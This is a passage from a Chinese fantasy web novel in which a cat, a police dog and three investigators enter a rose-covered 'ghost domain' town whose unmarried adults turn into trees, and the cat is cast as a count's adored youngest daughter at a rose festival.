“玫瑰花树能长这么高吗?”玫瑰花很常见,但夏双双见过的花,通常已经被剪好扎成花束,放在花店中,她第一次见到高的玫瑰树。 谢临风:“每一棵树都是一米多快两米,也不稀奇,就是花开得太爆了,也不知道用什么花肥……”他停顿了下,改口:“希望我们不要变成花肥吧。” 小咪挠两下树根,粗糙的树皮轻松被猫爪子挠破,流出一缕乌黑的血。它耳朵抖了下,尾巴蓬松炸毛,跳到闪电的肚子下,隔些许时间,才冒出个小脑袋。 这里依旧有一条被强行开辟出的道路,树干被暴力砍得零碎,树枝与花瓣凌乱散落,一地狼藉。 “这应该是你们副队的能力吧?” 夏炫笑了笑,“是啊,乐姐,扛刀的女战神。” “等出去一起去吃个火锅。” “成,我带你们去吃红竹市的最地道的那家……” 故意说起轻松的话题,也无法掩盖夏炫脸上的焦灼。被劈出的道路越来越窄,到最后,要他们侧身才能通行,周围玫瑰花美丽而有害,稍不注意就会被尖刺刺伤。 夏炫皱紧眉,看见了地上一点血。 鲜血滴在雪白瓷砖,格外刺目,血已经凝结了,变成暗红的痂。每隔几步,就有一滩血迹,最开始只有几点血珠,后面的血迹越来越多,显然有人受了伤,伤情在加重。 他们又走了几步,突然听见一声猫叫。 “喵。”小黑猫坐在玫瑰花树前,抬头看着面前的花树,这是一株快两米的树,玫瑰树和其他树没什么不同,只是它身上的花朵开得稀稀落落的,并不繁茂。 小咪看了看花树,仔细嗅着空气里的气味,低下头,蹭了下树干。 “小心刺。”夏炫看着小猫脑阔往刺上撞,心中一紧,连忙把小咪往后拉,查看它额头的伤口,“咦?” 明明看见猫蹭上去,怎么连皮都没有破? 夏炫看着花树上的刺,想了下,伸手小心地摸上去,指腹传来柔软、温暖的触觉,当他用力往下捏下去时,本该坚硬的木质,出现了一个小小的凹陷。 小咪抬起肉垫,啪啪拍在树干,“喵呜喵呜。” 夏炫低头看它,小猫看上去很急的样子,他很少看见小猫这么急。他突然想到什么,站起来,拨开了眼前的叶与花,玫瑰花朵下,露出了一张熟悉的脸。 “崔姜?小姜!” 崔姜的脸镶入树干里,脸颊变得极为粗糙,漫上一层不祥的褐色。她闭上眼睛,绿色的睫毛垂落,睡在玫瑰花树中。 “被玫瑰花缠住了吗?”谢临风拿出一个匕首,“要不把玫瑰枝条割开,试试能不能把她救出来?” 他小心地割开一条树枝,滚热鲜红的血汩汩流出,淅沥掉在地上,被湿润的泥土吸收。 崔姜的脸色肉眼可见地变得灰败。 谢临风连忙停手,“不对,不是树枝把她缠住,是她变成了玫瑰树?” 或许是疼痛让崔姜轻蹙眉头,恢复了些意识,缓缓睁开眼睛,“阿炫,咪咪?” “喵!”小咪歪头,把肉垫贴在树干上,将能力输入其中。 一股源源不断的生机注入崔姜的身体里,她涣散的眼神慢慢聚焦,休息片刻,和大家讲述自己的经历。 “庆康大楼被放置很多污染物,我们最开始是用正常的方法封印鬼域,但队长发现情况不对,深渊在拖延时间,想阻拦我们去楼顶,按照幸存者的叙述,他们可能想以这栋楼作祭品,举行一场神降仪式。” 夏双双表情微变,“神降?” 崔姜轻轻“嗯”了声,“红竹市,在古代一直叫作烛城,在很长一段时间,烛城没有日光月光,大家只能秉烛生活,烛城头顶的日与月,在传说中,是被一个妖怪吃掉了。至于那个气吞日月的妖怪……” 夏双双:“天狗。” 崔姜说了几句话,又开始有点喘,休息一会,才说:“所以我们改变了策略,用暴力手段直接打通一条路,抓紧时间赶到楼上,在玫瑰园里,我不小心被刺刺上,才变成这样。从人变成玫瑰树有段时间,我决定先留在这里,等他们去楼顶阻挡天狗食日,再回来救我。” 夏双双不赞同地表示:“你这样子,不像能撑太久,既然我们来了,这个鬼域交给我们吧。鬼域有线索吗?” “在地上有张报纸……” 闪电从玫瑰丛里钻了出来,嘴里咬着张泛黄的报纸,尾巴轻晃。 报纸上记载着红心镇的一次活动。镇外的玫瑰开得很好,漫山遍野的玫瑰花吸引了许多游客,镇里抓住商机,特意举办“真爱无悔”的活动,邀请情侣们来这儿游玩。 几个人聚在一起分析。 小咪则是蹲在崔姜变成木头的脚边,舔舔自己的爪子,好奇地四处张望。 闪电来到它的面前,浅褐色、像蜂蜜一样的眼睛看着它。 “喵?”小咪歪头。 狗子前肢趴下,撅起屁股,尾巴晃来晃去。 这是狗狗邀请玩的标准姿势。 但小咪不懂,它看着狗撅起臀,以为它要向自己进攻,在猫的认知里,趴伏是狩猎的号角。 “喵呜?”小咪警惕地抬起一只爪爪,喵喵拳在空中蓄势待发。 闪电蠕动着靠近,湿润漆黑的鼻头碰了碰小猫的爪子,它张开嘴巴,从嘴筒里吐出一朵红得浓郁的大玫瑰花。 小咪眼睛瞪圆,看看花,又看看狗子的嘴巴,嘴筒子明明看起来和平常没什么差别,怎么藏得下这么大一朵花? 原来不是攻击,是要送花哦。 它歪了下脑袋,蹭蹭闪电湿润的鼻头,闪电克制地没有蹦起来,但尾巴摇成了螺旋桨,啪啪抽在夏炫的腿上。 夏炫回过神,腿已经被抽得青一块紫一块,他深吸一口气,没想到刚进鬼域,受到的第一点伤害来自我方狗子。 他知道特种警犬选取条件极为严格,从小就性格稳定处变不惊的狗,才有可能被选作警犬。平时挺沉稳一狗,怎么尾巴也会甩成螺旋桨呢? 果然,他家咪咪是魅魔体质,就算是狗狗也要被迷得神魂颠倒。 崔姜已经闭上了眼睛,保存体力。 他们交流一下,离开被强行劈开的通道,走入玫瑰花丛里。小咪“喵啊”一声,嗒嗒跟在人后面。 人,等等猫。 ———— 烛光昏黄,银质烛台闪烁灿烂的光,粗布台毯上,摆放银色的餐具,餐具里堆着烤得焦黄的培根、软烂土豆泥、散发香气的香肠、刚出炉的薄片面包上抹着黄油。 一家人坐在餐桌前,其乐融融用餐,一切都显得非常美好。 小咪坐在了餐桌上,脖子同样系着一块白色的餐巾,它歪头打量,这是间极华丽的房间,餐桌很长,上面堆满各种食物,咪坐在左手边第二位,旁边分别是个红头发的少女和短发的小男孩。 在小咪的对面坐着一对夫妻,黑色卷曲长发的女人,和金发碧眼的青年。 小咪认真听他们对话。在对话中,它弄清了这些人的身份。 长桌中央的是这个家庭的男女主人,是对表情严肃、头发灰白的中年夫妻。咪对面的年轻夫妻是他们成婚的大女儿和女婿,莉兹与戴维;左手边红发少女是二女儿夏洛特,咪右边的男孩是小儿子本杰明。 和猫一起进来的人呢? 小咪弄清人物关系,很快就被眼前的食物吸引了注意力。猫面前也有一个银质餐盘,里面摆满很多食物,面包上抹着的不是黄油,而是散发诱猫香气的鱼罐头与猫薄荷。 “喵呜。”小咪把头埋在餐盘里,吧唧吧唧大吃。 “图多盖洛,”大姐姐莉兹拿出一个天鹅绒礼盒,笑着说:“这是为你明天准备的礼物。” 小咪耳朵抖了抖,继续舔面包片。 “图多盖洛,图多盖洛!” “叫你呢。”夏洛特捏了下小咪的耳朵。 “咪?”猫瞪圆眼睛,从食物里抬起头,舔了舔自己的鼻头。 大姐打开礼盒,里面是一条淡蓝色的大蝴蝶结绸带,蝴蝶结中心,蓝色宝石熠熠生辉。 她微笑着说:“明天把这个戴在脖子上,肯定能迷倒一大片人。” “哦,”母亲惊呼一声,“你想害死这么多人吗?” 二姐夏洛特哼了声,“那又怎么样?就算所有人都因为图多盖洛死了,那也不是她的错,谁让您把它生得这么可爱迷人!” 戴维叹气,“但是,图多盖洛会被当作杀人犯的。” 小咪歪头,“喵?” 第87章 戴维说完话后, 气氛变得沉默,大姐莉兹幽怨地看他一眼,埋怨他破坏了用餐氛围。 小咪:“喵?” 明天是很重要的节日吗? 大家好像都能听懂它的话。母亲露出笑容, “是呀,跟你说过多少次,你又忘记啦, 明天是玫瑰节,你要打扮得漂亮一些。” 父亲说:“我们图多盖洛不需要再打扮了。” “是啊。”母亲欣赏地盯着小咪的脸,“瞧瞧她乌黑的头发,金色的眼睛,她会是镇上最漂亮的姑娘,哪个人不拜倒在她的裙下?” 父亲像想到什么,表情变得冰冷,“如果太惹人注目,会很麻烦。图多盖洛,你要遮住自己的脸。” “喵?” “我这里有顶帽子。”大姐莉兹拿出顶小帽子,是顶黑色缎面礼帽,帽上插着几片黑羽毛作装饰,面纱悬挂在帽檐前,帽檐边还有一串米粒般的小珍珠,“这也是特意为小妹妹准备的。” 猫和他们不是一个物种, 但似乎所有人都默认, 小咪是他们家小女儿图多盖洛。连大姐拿出的帽子, 也与小咪匹配, 网格状黑色面纱恰好遮住猫金色的眼睛,猫的胡须与翘起的嘴角、圆滚的嘴筒刚好露出。 “这样就不用担心太多人见到你了。” 二姐夏洛特闷闷地拿银叉银刀切下一块猩红的肉块,“明明更可爱了好吧。” 她的话让父母将视线注意到她身上。 “夏洛特, 你的年纪也不小啦,应该要结婚啦。”母亲开始催婚。 夏洛特泄愤般对待眼前这块烤肉,刀叉在银盘上划得滋滋响,红发女孩看起来只有十七八岁,却被父母两个人一起指责年纪大,要到结婚的年纪了。 “我才不会结婚!镇上的男孩我没一个看得上,我不会喜欢上别人的!” 父亲冷哼,“你想成为我们家族的耻辱吗?” 夏洛特把刀叉一丢,生气地跑走。小咪吃饱了,跟在女孩的背后,陪她跑上二楼。 “砰!” 夏洛特重重摔门,跳到自己柔软的床上,抱住鹅绒枕头。 屋内燃着一盏油灯,光线昏暗,小咪坐在门口,悄无声息地打量女孩。 红发女孩刚躺下去,就猛地弹了起来,跑到落地镜前。 夏洛特将长裙脱下,光洁的后背多了一块褐色,就像粗糙的褐斑,斑块上长出了一根刺。 她一点也不惊讶,从床下拿出一个盒子,盒里装着把剪刀,扭转身体,别扭地将手伸到后背,想要将背上的刺剪下来。 也是这时,夏洛特转身,与门口的小猫视线相对。 她握紧剪刀,眼里闪过一丝凶狠。 “咪?”小咪歪头,肉垫悄无声息地踩在地毯上,走到夏洛特面前,抬头看着她。 夏洛特蹲下来,手里拿着剪刀,声音甜腻,“小妹妹,你不会把这件事告诉爸爸妈妈吧?” 剪刀闪烁着冷光,很锋利,小咪知道,如果自己回答会,或者表现任何惊慌的情绪,就会被剪刀咔嚓一声割断喉咙。 但猫的面部神经不发达,做不出什么惊慌的表情,它轻轻地“喵”了声,拿头蹭蹭拿剪刀的手,下巴搭在少女的手背,斜着眼睛悄悄看她。 果然,在猫的一番撒娇攻势下,红发少女表情松动,将剪刀放在一边,指腹揉了揉它的头。 “图多盖洛,你是世界上最可爱的女孩。” “喵呜~” 夏洛特将火一样热烈鲜艳的头发挽在胸前,手往后面伸,摸着后背的刺,她像是发泄一样,“我就是不想结婚,镇上的男孩都愚蠢、轻佻、没有见识,我才不想和他们度过一生!就算变成一个怪物,我也不要结婚。” “喵?” 不结婚就会变成怪物? 夏洛特和她的交流没有障碍,把她当成一位天真无知的妹妹,“母亲说过这么多次,你没听进去吗?如果没有找到真爱一生的人,我们会变成长满刺的怪物。” “喵。” “妹妹,你来帮我砍掉刺吧?”她顺手把剪刀递给小咪。 小咪抬起爪爪,看着自己粉红色的、山竹一样的肉垫,肉垫合拢又松开,像踩奶一样按了下。 猫该怎么拿住剪刀? 猫的爪子还没有把手大。 它抬起头,一张脸猛地逼近,贴在小咪的脸上。 “怎么啦,你不愿意为我保守秘密吗?”夏洛特微眯起眼,眼里闪烁危险的光芒。 小咪用肉垫拍了下剪刀,将能力覆盖在刀上,操纵着剪刀咔嚓一声,剪掉夏洛特后背的尖刺。就像剪断一根树枝般,没有血流出来,小咪仔细看着她后背那块褐色斑块,斑块布满褶皱,粗糙、硬实,摸上去像树的质感。 它忍不住将脸贴上去,蹭了蹭,褐斑像块柔软的树皮,上面有属于人的体温。 夏洛特弹了起来,飞快穿上了睡裙,坐回床上。她指着门,下达逐客令,“你没有自己的房间吗?图多盖洛,你的年纪不小啦,不要总赖在姐姐这里!” 小咪尾巴不快地甩了甩,跳起来打开门把手,跑出了门。外面是一条木质走廊,走廊上有几扇紧闭的门,它不知道自己的是哪一间房,于是顺着走廊寻找,每经过一扇门就喵喵叫几声。 “喵喵!” 大姐莉兹微笑着打开门。她黑色的卷发散落在宽松的白色睡裙上,手里拿着一根蜡烛,温暖明亮的烛光让女人显得很温柔美丽,她弯下身体,问:“怎么啦?” “喵呜~” 猫要去自己房间。 “你和本杰明的房间在上面一层,这一层是我和夏洛特的房间。是不是怕黑了,要我带你上去吗?” “喵呜。” 莉兹伸出手,小咪往上一跳,跳到她的怀里,将小脑袋搁在女人的肩膀上。 随着莉兹往上走,小咪将头往上拱,蹭着她脖颈细腻雪白的肌肤,弄得她痒得全身发颤。 “不要调皮,你已经不是小孩子啦。”莉兹轻笑着说。 小咪:“咪呜~” 猫将下巴搁在她的颈窝,视线往下望。 在莉兹走上楼梯时,她身后那扇木门推开一条缝隙,一个金色的脑袋从门后露出。大姐的丈夫金发蓝眼,有张英俊的面孔,他抿着薄唇,没有表情地看着妻子的背影。 在目光与小咪相触时,他露出一个微笑,轻点一下头,合上了门。 莉兹对一切毫无察觉,为明天的节日叮嘱着小妹妹,“明天打扮漂亮一些,一定有很多人喜欢你的。” 她将小猫放在柔软的床上,为它盖上小被子。 小咪伸出爪子,勾住她的衣袖。 莉兹笑着揉揉她的头,“你在紧张吗?没关系的,我们图多盖洛长得这么可爱,人人都会喜欢你。” “喵呜?” 如果有人不爱猫,会怎么样呢? 莉兹棕色的眼睛眨了眨,俯下身,亲了小咪的额头一口,重复:“不会有人不爱你的,所以,不用担心这样的问题。” “喵呜~” 小咪指甲把姐姐的袖子勾出丝,执拗地想要一个答案。 莉兹轻叹口气,“如果没有人喜欢你,那你也千万别对别人动心,不要爱上一个不爱你的人,不然……” 不然怎么样,她还是没有说。 小咪嘴巴皮子动了下,轻轻喵呜一声,本来想问,如果没有人喜欢它,它的身上会不会像夏洛特一样长出刺。但想到答应过夏洛特不将她的秘密泄露,猫还是选择了闭嘴。 猫,一言九鼎的真喵子! “晚安,我的小妹妹。”莉兹低头,给小咪一个晚安吻。 小咪侧卧在床上,枕头用鹅绒铺成,柔软温暖。 “咔嚓咔嚓。”尖锐的金属声从床底传来,它弹跳而起,跑到床边,探头往下看。 一头鲜艳的红色从床底漏出,夏洛特的脸缓缓出现,对着她笑:“你没有把我的秘密告诉姐姐,是吧?” 小咪歪头。 她是怎么进来的? 夏洛特拿起大剪刀,从床底爬出来,推开旁边窗户,对着它阴恻恻地笑了下,从窗户翻身跳出。小咪也跳到窗台,往下面看,没有看见夏洛特的身影。 人呢? 火红色遮住了猫的视线,发丝落了下来,然后是夏洛特那张倒悬着的脸。她的眉毛、眼睛、鼻子、嘴唇,倒挂在小咪的面前,冰凉的脸几乎和咪挨着。 她挂在窗框上,警示:“小妹妹,千万不要泄露我的秘密哦。” “喵!” 夏洛特像壁虎爬走了。 小咪看她一会,跳到自己的床上,钻到被窝里,窝成一团。 ———— 天色蒙蒙发亮时,小咪就被母亲从被窝里抱了出来。 “今天是重要的日子,你该早点起来打扮!” 母亲的打扮一直很朴素,灰色裙子外面披着层黑色外衣,身上没有任何装饰,但她带来的首饰盒里,却有各种各样的美丽饰品。 她拿出一条黄金项链,在小咪的脖子上比划片刻,又换成一条珍珠项链。 “莉兹,夏洛特,来帮你们妹妹选一下!” 最终,小咪戴上一串米粒珍珠绞丝项链,项链中心镶嵌一颗蓝宝石。昨天姐姐送的蝴蝶结,被系在她的尾巴上。 母亲还拿起戒指,想给咪的四肢爪子都戴上。 小咪把爪子抽回,不满囔囔。 “好吧,”母亲严肃的脸上露出丝笑意,“打扮是件麻烦的事情,最后穿上这条裙子就可以了。” 那是条宝蓝色的裙子,分了好几层,包括蕾丝衬裙、刺绣外群、前襟胸片,当一层层丝的、纱的、绸的面料裹在小咪身上后,它发现,自己连路都不会走了。 为什么人喜欢用这么多的布绑住自己? “啊,这个忘记啦。”莉兹指着桌上一团半月形的马毛圆球。 “喵?”这是什么?是给猫玩的毛球吗? “这是垫在屁股上的臀垫,可以让你的曲线更迷人。”大姐温柔地解释着。 小咪一抬爪子,把臀垫推到的桌下。 在母亲发怒前,它喵喵叫几声,学着闪电的样子,上半身趴伏,屁股撅起。 “喵啊——” 猫的屁股,这——么——翘——!翘得可以顶汽水啦! 母亲面上愠色褪去,微笑着摇头,“那确实不用臀垫了。” 就这样,被盛装打扮的小咪坐在母亲的膝盖上,和家中的两位姐姐一起坐马车来到镇里。已婚的姐姐莉兹同母亲一样打扮朴素,夏洛特则是被母亲勒令穿上一条鲜艳的裙子。 “夏洛特,戴上你的帽子!”母亲伸出头,朝着她喊。 女孩有头火一样明亮鲜艳的红发,在保守的镇上,红发似乎不受欢迎。母亲特意为她将头发扎起,准备一顶将头发遮得严严实实的羽毛帽子。 夏洛特摘掉帽子,往空中一抛,扯掉头上的发箍,满头红发火一样摇摆,她朝母亲做了个鬼脸,从马车上跳下,灿烂的红跃入人潮里,非常引人注目。 小咪看了她一会,轻抬起上半身,在人群里焦急地寻找着认识的人。 母亲幽幽叹气,“夏洛特不是个好孩子,不要学她,”她把小咪仰起的头按了下去,“图多盖洛,你要淑女一些。” 头顶冰凉的手指力道很大,小咪被压着,抬不起头,只能用余光偷瞄四方。 “喵啊!” 人潮中,一顶黑色的卷发挤入猫的视线。 它激动地叫了起来,但嘴巴马上被母亲捏住。母亲压低声音教训:“声音小一点,你要当一位淑女。” 小咪逃不开母亲的桎梏,想了想,既然玫瑰节上年轻的男女认识相爱,那么它也可以用看上夏炫的借口去和人会合。 “喵~”猫看上他了。 母亲往那边瞥一眼,打量女儿看上的青年——二十来岁的青年,有头漆黑卷发,笑的时候眼睛弯弯,十分讨喜,也算英俊。 但是,在一群十几岁的少年中,他显得有点特殊。 他好像听见什么,在四处张望寻找。 在青年的视线转过来时,母亲用帽子盖住了小咪,严肃地说:“这个不行,他太老了。” 第88章 小咪透过母亲的指隙往外看。 夏炫、谢临风和夏双双已经聚在一起, 戏精在谢临风的头上跳来跳去。 小咪想冲过去和他们会和,却被母亲死死按住脑袋。 母亲声音冷下来,“你也要像夏洛特一样当个坏孩子吗?” 坏孩子的代价是什么? 母亲冰凉的手指像铁钳,紧紧掐住猫的脑袋,如果再用力一些,能将小猫的脑盖骨夹碎。 小咪只好趴在她的大腿上,得到母亲一句“好孩子”的称呼。它看着夏炫与其他两个人会和,绕开人群,往偏僻的地方走去,大概是交流信息。 猫被闷在帽子底下,急得喵呜叫,舔了舔母亲冰凉的手指。 大姐买了个牛奶冰淇淋,送到小咪的面前,牛乳与奶油混合制品散发浓浓奶香,小咪舔着冰淇淋,余光瞥向夏炫那边。 人潮涌动, 空气里飘动玫瑰花香, 它看不见夏炫, 也闻不到他们的气味了。 “喵呜!”气得猫恶狠狠地咬一大口冰淇淋。 此时。 夏炫三个人在交流获取信息。 “我在一个酒馆醒来,扮演外地来的旅客。从酒馆老板那里,知道了一些信息, ”夏双双先开口:“玫瑰节是红心镇的传统, 节日持续几天, 年轻的男女在节日上找到真爱, 成为伴侣。” 几个人身份各不相同。夏炫和谢临风都穿成这座诡异小镇的本地人,且都是单身汉。 谢临风扮演的角色是个孤儿,独自住在镇子西南角落的一所房子里。 夏炫比较倒霉, 同样是本地人,却有一大家子的亲人。在诡异世界里,有爹妈绝对不是一件很好的事情。 夏炫是家庭里的大哥,有父母、祖父母,和几个弟弟妹妹,同时也是个木匠,担起家中顶梁柱的角色。按理来说赚钱养家的大哥在家里的地位很高,但他家中人对他的态度却极恶劣,甚至不允许他上桌吃饭。 “他们还喊我老男人,”夏炫愤愤不平,“我哪里老了?我才二十六好吧!” “是因为你没结婚?”夏双双说:“我们发现,这个小镇大家都结婚很早,你看街上来相亲的男孩女孩,都很年轻,放外面还是中学生的样子。” 这样看,夏炫确实算一个异类了。 “二十六,当打之年好吧,我大学同学没一个结婚的呢,”夏炫叹了口气,“咪咪呢?我听见了一声猫叫,但没有看见它。” 其他两个人也摇头。 闪电和咪咪还没有出现,但对这两小只,他们都很放心。 “马车上坐着的是谁?”谢临风指向那座华丽马车,车上的黑衣女人被众人簇拥着走下来,进入舞会厅里,仿佛人群的中心。 “我知道,她是伯爵夫人,镇上最气派的庄园就是她家的。”夏炫在自己“家庭”里打听不少消息,“她有三个女儿,大女儿已经出嫁,另外还有两个未婚的女儿。” 昨天在家庭用餐时,他把镇上的八卦听了个遍。伯爵夫人的二女儿夏洛特,有头火一样的红发,在居民眼里是个轻佻大胆的女孩,都十八岁了,居然还不愿意结婚。 夏炫能听出,自己家人对伯爵家隐藏的嫉妒,不过,在说起伯爵家小女儿时,所有人都情不自禁露出微笑,异口同声地说:“图多盖洛,那可真是一个难得的美人儿啊!” “伯爵夫人打扮这么朴素,显然不是为了自己参加舞会,那应该是给自己家女儿相亲来的。但她女儿呢?”他站在木箱上眺望,“怎么一个都没看见?” 夏洛特的红发应该很显眼,而图多盖洛在市民们的描述里,是镇子上最可爱迷人的姑娘。可他的视线越过拥挤人群,只见伯爵夫人提着帽子,优雅地走入舞会,身边很明显没有年轻女孩的身影。 不对。 他眨了眨眼。 帽子里好像有东西,是蓝色的纱? “臭猫!臭猫!”戏精扑棱翅膀,开始大叫。 夏炫差点从木箱摔下来。 图多盖洛,全镇上最迷人的姑娘,是他们小咪? 好像也没什么问题哦。 图多盖洛姑娘的追求者众多,在舞会厅排成长龙。一个个年轻的毛头小子围在她的周围,向她献殷勤。 小咪揣着爪爪,趴在刺绣精致的软垫上。 “图多盖洛小姐,我能邀请你跳支舞吗?”一个人类少年彬彬有礼地问。 “喵呜。”小咪把脸扭到另一边。 你瞧猫这裹得里三层外三层的样子,连路都走不了了,像是能跳舞的样子吗? 少年遗憾离场。 小咪又拒绝好几个少年,人群传来窃窃私语,说这位姑娘可爱迷人,但实在高冷。 “咪……图多盖洛小姐,我能邀请你跳一支舞吗?”夏炫微笑着伸出手。 “喵呜。”小咪激动地叫了声。 但伯爵夫人面若冰霜,伸手挡住小猫的脸。 夏炫没想到这发展,讪讪退下,听周围人议论。 “他们太不配啦。” “图多盖洛小姐这么可爱迷人,但哈特只是个木匠,年纪还那么大了。” “二十几岁还没结婚,真是太可怕了。图多盖洛小姐怎么能和这种人在一起?” 夏炫听得面红耳赤。他只是想和猫猫在一起,怎么被这些人说的,自己像个想吃天鹅肉的癞蛤蟆呢? “但如果他们是真心相爱,就算是伯爵夫人也不能阻拦吧。” 听到这句话,他心里一动。 红心镇对爱情非常推崇,镇子里散发着玫瑰花香甜的味道,连天上的云朵都是玫红色,小镇上仿佛飘荡无数浪漫的泡泡。 真爱至上,真爱无悔,这两句话在墙壁涂鸦经常能看见。 如果这算是小镇规则的话,只要他和小猫“两情相悦”,真诚发出邀请,无论是谁也不能阻拦。 看见夏炫转身离开,小咪焦急地喵喵叫,伸出肉垫扒拉母亲的手臂。 伯爵夫人手臂冰冷而有力,死死箍住它。她低下头,阴冷身影像条小蛇,钻入猫的耳朵里,“图多盖洛,眼光好一些,那么多年轻的小伙子你不选,怎么看上这个老男人?他可是足足大了你二十四岁呢!” 猫今年还不满两岁,它和人之间有无法逾越的年龄差。 小咪总觉得有点怪,可母亲给的理由又相当合理。 而且,夏炫已经走了,它只好把脑袋搁在尾巴上,无聊地盯着前方。 少年少女们打扮漂亮,四目相对,看上眼后就手挽着手,在舞池边纵情跳舞。 莉兹又拿出一盒牛奶,喂给小咪吃,乳白色奶打湿小咪嘴巴边的黑毛,她一边用手帕给猫擦嘴巴,边说:“你再看看其他人呢?图多盖洛,你看旁边的苏特,他长得也不错,还在偷偷看你。” “喵。”猫不要! “艾里奥呢?他有头漂亮的金发。” “喵!”猫也不要。 莉兹轻叹一口气,自己家可爱迷人的小妹妹,却看上一个比她大二十几岁的男人。她瞥眼母亲黑如锅炉的脸色,小声说:“其实,图多盖洛看上的男人长得英俊……” 伯爵夫人重重哼一声,“你想她像你一样,挑选男人只看脸吗?” 莉兹不说话了,沉默着替小咪擦下巴的牛奶。 人群中传来一阵骚动,伯爵夫人探头看了看,抓住小咪的耳朵,把它面前的牛奶撤走。 “吧唧吧唧。”小咪舔舔爪子。 “图多盖洛,”大姐揉揉它的头,温柔地问:“你看那一个你喜欢吗?他是个战争英雄,身上有不少功勋,退役后当我们镇上的警长,他长得也非常漂亮。身上虽然有残疾,但……” “喵!”猫的眼睛亮了起来。 猫愿意! 如果是从前,伯爵夫人肯定不会让小女儿和一个身体有残缺的人在一起,但在小女儿执拗地选择了老男人后,她突然觉得,眼前这条黑背大狗十分优秀。 它体型高大健壮,肌肉紧实,身体素质极好,后背毛黝黑,眼睛金黄,与她家图多盖洛很般配。伯爵夫人身体微倾,再仔细看,黑背犬五官端正,眼睛湿漉,英俊而正直,又有功勋在身,有份稳定而体面的工作,还曾经是战斗英雄。 最重要的是,它的年纪不大,今年三岁,与图多盖洛很配。一系列闪光的优点,足以弥补左臂的残缺了。 伯爵夫人越看越满意,“你觉得呢?” “喵呜~” 这时人群里传来了骚动。夏炫去而复返,单膝跪地,怀里捧着大把玫瑰,“和我在一起吧!我亲爱的小公主!”他甩了下头,嘴叼玫瑰,真诚告白。 小咪:…… 好苦恼喵。 ———— 虽然有点尴尬,但大家总算重新聚在了一起。 小咪的身份是伯爵小女儿,镇上万人迷,至于闪电,是位退役的战斗英雄,镇里的富尔门警长。 “其实从某种程度上,还挺符合它们的设定。” 夏炫:“所以为什么我变成个大龄剩男?” “喵呜。”猫蹭蹭他。 夏炫揉揉它的头,认真起来,“这个鬼域的主题应该和爱有关,”他们坐在咖啡店前,对面的街道五彩斑斓,玫瑰花丛后的墙壁画着“真爱无悔”四个字,“镇上居民对爱情也很热情,对找不到爱、被迫剩下的单身男女,就很鄙视。” 作为一名“大龄”剩男,他在自己家里连饭桌都不能上,好像是什么脏东西一样。 小咪歪头,把没有得到真爱,就会变成怪物的事告诉众人,因为身份的关系,它获得的信息比几个人要多。 “要变成怪物?难怪我家人这样对待我了,”夏炫挠了挠手臂,“但我没有变异啊。” “因为我们才刚来到小镇。小镇给了我们一个身份,可我们并不是土生土长在这里的人,鬼域的规则在我们进入后才起效果。”夏双双表情严肃,“你们真的没有受到影响吗?” 夏炫又挠了挠手臂,“就是有点痒,”他将袖子往上挽,一大块褐色斑块不知什么时候长出来,褐斑粗糙,坑坑洼洼,摸着像树皮,“这什么时候长的?” 谢临风也有一块褐斑,他比夏炫小两岁,斑块也小一点。夏双双在三个人中年纪最长,不过因为外地人的身份,被小镇影响反而没有另外两个人大。 夏炫苦笑:“这还真是不结婚就会死啊。” “在这个小镇里,到了一定年纪,还没找到伴侣,就会发生异变,镇上的居民才对我们那么反感。他们结婚都很早,没成年的孩子就开始积极相亲,说明异变的年龄会很早?假定这个年纪是十八岁,那我们这里最安全的岂不是……” 三个人将目光看向了三个小动物。 一岁的鸟、两岁的猫、三岁的狗。 第89章 “好不公平啊!”谢临风仰天长叹。 有的人一穿进鬼域就触犯了规则, 有的猫猫狗狗就算在这里活十年也没事! “喵呜。” 十年,那猫可以在这里待一辈子啦! 夏炫却揉揉它的脸颊,“咪咪, 你是能力者了,一定能活很久很久,不止十年。” 小咪低头,蹭青年的手背,他的手掌肌肤变得粗糙,就像树皮擦过猫的头顶。猫喵呜几声,抬眼看着人类。 人的年纪太大了,很快就会被小镇异化。他们无一例外都超过了那条结婚死线,几天后,他们会变成什么样了?身上会长出夏洛特那样的尖刺吗? 人,猫担心你! 小咪眼睛圆圆地望着夏炫。 夏炫心里一软,挠挠它的下巴,看小猫舒服眯起眼睛,引擎启动,呼噜呼噜。他道:“就当成年还单身会变异是个诅咒吧,这个诅咒也容易破解,只要找个人结婚,不就行了?” “我要和咪咪结婚!” “喵呜~”猫答应。 谢临风连忙说:“我也要和咪咪结芬!” “咪呜~”猫也答应。 “结芬结芬~”戏精扇动翅膀, 学舌道:“我也要和小猫结芬。” “喵呜” 戏精对上猫圆圆的眼睛, 小脑袋缩到谢临风的头发里, 大声喊:“我不要和小猫结芬!” “喵呜~” 小咪优雅地坐在桌子上, 咪可以有几个家、有很多铲屎官,当然也可以和很多人结婚。他们一个给猫梳毛,一个给猫开罐头, 一个拿羽毛陪猫玩。 “咪咪,你还真会雨露均沾啊!” “咪呜~” 在小镇里,迅速找个人结婚也许是一个避免异化的方法。但找个本地人结婚风险太大了,不如和小猫结婚,反正大家一点意见都没有。 “要是和咪咪结婚了,”夏炫幻想着美好生活,“我是不是可以合法抱着咪咪睡觉啦?” 太幸福了吧! 如果鬼域扯的结婚证到外界还有效,他岂不是小咪的合法铲屎官了? “但是咪咪的母亲,伯爵夫人好像嫌弃你。”夏双双给他泼了一盆凉水。 “是啊,”谢临风惆怅叹气,“图多盖洛小姐这么可爱迷人,家庭条件还好,是伯爵的小女儿,而我们两个的身份呢,一个是孤儿,一个是要和大家子挤在一起的木匠,配不上咪咪。” “不过,”他话锋一转,“要我和你比,肯定是我更配咪一点,怎么说我都有自己的一栋房子。” 谢临风住在野兔街道最后一间房里。那是一栋两层的老房子,外面有高高篱笆,篱笆上爬满月季花。他把备用钥匙位置告诉几个人,如果有人遇到危险,可以进入这栋房子躲避。 夏炫也将自己的想法分享,“小镇崇尚真爱至上,如果是真爱,两个人互相喜欢,这些外部条件应该都不能成为阻碍吧。” 谁也不能阻拦他和小猫结婚! “对了,咪咪,你大姐嫁的人是不是条件也不好?” 夏炫昨天吃饭时,听“家人们”议论伯爵一家。除了对夏洛特特立独行表示贬低外,他们还提起了伯爵家的大女儿。 “莉兹小姐的眼光也不怎么好嘛。” “戴维除了长得英俊一些,还有什么好的?他本来就是个不学无术的人,靠着脸被莉兹小姐看上,才能进入伯爵家里。” “明天节日,伯爵夫人会把图多盖洛小姐带出来。可惜我们家没有合适的小伙子,约翰年纪脸上有斑点,戴夫太大了……” 夏炫:“我呢我呢我呢?” 家人们用嫌弃的眼神看着他,“你都这么老了,还敢肖想图多盖洛小姐?” 夏炫想到这里,悲从中来,老男人怎么啦?老男人会疼猫!他抱起小咪,“结婚!我们现在就去结婚!” 